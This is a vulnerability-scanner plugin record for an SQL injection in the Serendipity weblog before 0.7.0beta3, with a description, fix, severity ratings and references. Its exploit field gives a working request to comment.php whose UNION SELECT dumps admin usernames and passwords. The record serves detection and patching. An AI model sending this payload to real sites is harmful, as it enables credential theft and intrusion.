| Plugin ID | 312 |
| Plugin name | Serendipity prior 0.7.0beta3 SQL injections |
| Plugin filename | Serendipity prior 0.7.0beta3 SQL injections.plugin |
| Plugin filesize | 2701 bytes |
| Plugin family | CGI |
| Plugin created name | Marc Ruef |
| Plugin created email | marc.ruef at computec.ch |
| Plugin created web | http://www.computec.ch |
| Plugin created company | computec.ch |
| Plugin created date | 2005/01/05 |
| Plugin version | 1.0 |
| Plugin protocol | tcp |
| Plugin port | 80 |
| Plugin procedure exploit | open|send GET /comment.php?serendipity[type]=trackbacks&serendipity[entry_id]=0%20and%200%20union%20select%201,2,3,4,username,password,7,8,9,0,1,2,3%20from%20serendipity_authors%20where%20authorid=1%20/* HTTP/1.0\n\n|sleep|close|pattern_exists HTTP/#.# 200 *0 and 0 union select 1,2,3,4,username,password,7,8,9,0,1,2,3 from serendipity_authors where authorid=1* |
| Plugin exploit accuracy | 99 |
| Plugin comment | The NASL script is Copyright (C) 2004 Tenable Network Security |
| Bug affected | Serendipity prior 0.7.0beta3 |
| Bug vulnerability class | SQL Injection |
| Bug description | The remote host is running Serendipity, a weblog written in PHP. The remote version of this software is vulnerable to a SQL injection issue due to a failure of the application to properly sanitize user-supplied URI input. An attacker may exploit this flaw to issue arbitrary statements in the remote database, and therefore bypass authorization or even overwrite arbitrary files on the remote system. |
| Bug solution | Upgrade to Serendipity 0.7.0beta3 or newer. |
| Bug fixing time | Approx. 20 minutes |
| Bug exploit availability | Yes |
| Bug exploit url | http://www.securityfocus.com/bid/11269/exploit/ |
| Bug remote | Yes |
| Bug local | Yes |
| Bug severity | High |
| Bug popularity | 6 |
| Bug simplicity | 8 |
| Bug impact | 8 |
| Bug risk | 8 |
| Bug Nessus risk | High |
| Bug check tools | Nessus can check this flaw with the plugin 14842 (Serendipity SQL Injections). |
| Source SecurityFocus BID | 11269 |
| Source Nessus ID | 14842 |
| Source Literature | Hacking Exposed: Network Security Secrets & Solutions, Stuart McClure, Joel Scambray and George Kurtz, February 25, 2003, 4th Edition, McGraw-Hill Osborne Media, ISBN 0072227427 |
| Source Misc. | http://www.computec.ch |